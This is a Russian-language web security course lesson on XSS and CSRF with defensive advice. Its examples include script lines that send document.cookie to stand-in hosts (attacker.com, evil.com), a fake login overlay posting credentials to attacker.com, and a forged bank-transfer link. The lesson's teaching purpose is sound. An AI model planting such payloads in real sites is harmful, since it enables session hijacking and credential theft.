Сybersecurity

8 уроков
Консультации
#3 – XSS, CSRF и уязвимости во Front-end

#3 – XSS, CSRF и уязвимости во Front-end

В уроке узнаем как работают XSS и CSRF-атаки, чем они опасны, как через них крадут cookie и данные, и какие простые меры защиты помогут обезопасить ваш проект от подобных уязвимостей.

Видеоурок

Что такое XSS?

Для начала разберёмся с таким понятием, как XSS. XSS (или Cross-Site Scripting) — это уязвимость, при которой злоумышленник вставляет вредоносный JavaScript-код на веб-страницу, и этот код затем выполняется в браузере другого пользователя.


Проще говоря: пользователь заходит на сайт, считая его безопасным, но его браузер выполняет чужой вредоносный код — и делает это незаметно для самого пользователя.


Какие бывают типы XSS?

Существует несколько основных типов XSS:


Reflected XSS

Это когда вредоносный скрипт вставляется прямо в URL и тут же отражается в ответе сервера. Он временный, но срабатывает мгновенно.


Пример: URL, в котором параметром передаётся скрипт.

https://example.com/search?q=<script>alert('XSS')</script>

Если сервер не фильтрует параметр q, скрипт будет выполнен прямо в браузере.


Stored XSS

Более опасный вид. Злоумышленник сохраняет вредоносный скрипт в базу данных — например, в комментариях, чате, отзывах. И каждый, кто потом читает эти данные, получает заражённую страницу.


Представим, что в поле комментария пользователь вставил скрипт. Такой код сохраняется в базу и каждый, кто откроет страницу с отзывом, отправит свои cookie хакеру.

<script>fetch("http://attacker.com/cookie=" + document.cookie)</script>


Как через XSS украсть cookie?

Допустим, сайт не ограничивает доступ к document.cookie, и злоумышленник вставляет следующий код:

<script>
 fetch("http://evil.com?cookie=" + document.cookie)
</script>

Что произойдёт? Любой пользователь, открывший такую страницу, отправит свои cookie на внешний сервер. Если, к примеру, в cookie содержится token=xyz123, хакер сможет использовать этот токен — и получить доступ к аккаунту.


Fake UI: фишинг через фронтенд

Другой вид атаки — создание поддельного интерфейса. Хакер вставляет код, отображающий форму входа. Пользователь думает, что его разлогинило, вводит свои данные — и отправляет их злоумышленнику.


Именно поэтому XSS так опасен: злоумышленник может запускать произвольный JavaScript-код от имени сайта, а вы об этом даже не узнаете.

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
	<form action="http://attacker.com/save" method="POST">
		<h2>Пожалуйста, войдите заново</h2>
		<input name="email" placeholder="Email"><br>
		<input name="password" placeholder="Пароль" type="password"><br>
		<button>Войти</button>
	</form>
</div>


Что такое CSRF?

Перед тем как поговорить о защите, разберём ещё одну уязвимость — CSRF (Cross-Site Request Forgery).


Это атака, при которой злоумышленник заставляет браузер пользователя выполнить действие на сайте, где он уже авторизован.


Пример: вы вошли на сайт bank.com, и кто-то присылает ссылку:

<a href="https://bank.com/transfer?to=attacker&sum=1000">

Если сайт не проверяет источник запроса, браузер автоматически выполнит перевод, используя уже имеющуюся cookie-сессию.


Сайт "думает", что запрос пришёл от настоящего пользователя, и выполняет его. В результате злоумышленник может инициировать любое действие от вашего имени.


Как защититься от XSS?

Основные меры защиты просты, главное — не забывать их применять:


1. Экранирование HTML

Во всех языках есть функции, убирающие вредоносные теги. Например, в PHP это htmlspecialchars. Используйте их при любом выводе пользовательских данных.

echo htmlspecialchars($name);


2. Не используйте innerHTML

В JavaScript лучше использовать textContent, так как innerHTML вставляет HTML-код как есть, а textContent — только текст.

element.textContent = name;


3. Content Security Policy (CSP)

Добавляйте заголовки CSP, чтобы запретить выполнение встроенных скриптов:

Content-Security-Policy: script-src 'self'


4. Используйте безопасные фреймворки

React, Vue, Django и другие шаблонизаторы по умолчанию экранируют HTML. Это дополнительная защита от XSS.


Вывод: валидируйте пользовательский ввод и никогда не вставляйте его напрямую в HTML или JavaScript-код. Сначала обрабатывайте данные — потом используйте.


Как защититься от CSRF?

Для защиты от CSRF используются CSRF-токены. Это уникальные значения, которые передаются в форме и проверяются при отправке запроса.

<input type="hidden" name="csrf_token" value="abc123">

Сервер проверяет наличие и корректность токена. В большинстве фреймворков (например, Django) CSRF-токены добавляются автоматически при использовании специальной директивы.

Задание к уроку

Необходимо оформить подписку на проект, чтобы получить доступ ко всем домашним заданиям

Большое задание по курсу

Вам необходимо оформить подписку на сайте, чтобы иметь доступ ко всем большим заданиям. В задание входит методика решения, а также готовый проект с ответом к заданию.
PS: подобные задания доступны при подписке от 1 месяца

Также стоит посмотреть

QA тестировщик с нуля / Тестирование для начинающих
13 уроков
Создание 3D игры на Unity / Разработка стратегии
10 уроков
Уроки Python Django / Создание сайта
12 уроков
Курс Nuxt JS / Изучение Nuxt.js фреймворка
8 уроков
Изучение JavaScript для начинающих!
15 уроков
Уроки Java для начинающих
21 урок
Комментарии
Добавить комментарий

Пока комментариев нет